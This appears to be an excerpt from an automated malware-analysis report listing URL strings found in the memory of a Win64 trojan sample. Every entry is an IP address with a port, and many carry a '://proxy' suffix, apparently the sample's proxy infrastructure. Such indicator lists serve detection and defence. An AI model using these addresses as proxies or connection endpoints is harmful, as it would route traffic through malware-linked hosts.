Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:18080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:18080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9145000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:33356
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:33356://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:41649
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:41649://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:54879
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:54879://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7652000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:62727
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.125.208:62727://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:11802
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:11802://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C776C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:21803
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:21803://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:22935
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:22935://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:36694
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:36694://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:41271
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:41271://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7560000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C757D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:4228
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:4228://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:64615
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.126.150:64615://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.206.209
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.206.209://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.206.209:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.248.35:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.248.35:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9499000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA81E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.42.129:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.75.42.129:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.77.65.164:31979
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.77.65.164:31979://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.77.72.203
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.77.72.203://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.77.72.203:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.249.186:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.249.186:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.51.145:29291
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.51.145:29291://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:18636
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:18636://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEC2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:22500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:22500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:54395
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:54395://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83AE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:8533
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.79.87.144:8533://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.81.186.179:51405
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.81.186.179:51405://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.81.186.179:58630
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.81.186.179:58630://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.116.6:62583
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.116.6:62583://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.116.7:61959
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.116.7:61959://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.135.35:2846
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.135.35:2846://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1CE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.140.70:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.140.70:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.184.241:9191
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.184.241:9191://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.34.150:34214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.83.34.150:34214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.116.108:16276
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.116.108:16276://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.135.175:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.135.175:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.4
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:17982
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:17982://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:20435
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:20435://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:23313
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:23313://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69D9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:23854
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:23854://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:26545
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:26545://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:44719
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:44719://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAEE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:51511
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAEE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:51511://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:54570
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:54570://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:55198
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.89.173.40:55198://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.91.13.215:55637
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.91.13.215:55637://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.91.151.47:53341
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.91.151.47:53341://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.172.1.186
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.172.1.186://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6712000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.172.1.186:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.172.1.186:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.172.1.186:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C924A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.191.208.232
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.191.208.232://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.191.208.232:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.196.1.182
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.196.1.182://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.196.1.182:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.236.0.6:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.236.0.6:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.24.80.166
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.24.80.166://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.24.80.166:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.41.249.10
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.41.249.10://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.41.249.10:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.47.137.181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.47.137.181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.47.137.181:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.79.107.158:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://52.79.107.158:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.161.67.134:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.161.67.134:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.178.159.199:18080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.178.159.199:18080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.248.238.11
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.248.238.11://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.248.238.11:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:13304
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:13304://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:13331
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:13331://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CABDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:13882
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:13882://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:40996
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://54.36.108.149:40996://proxy
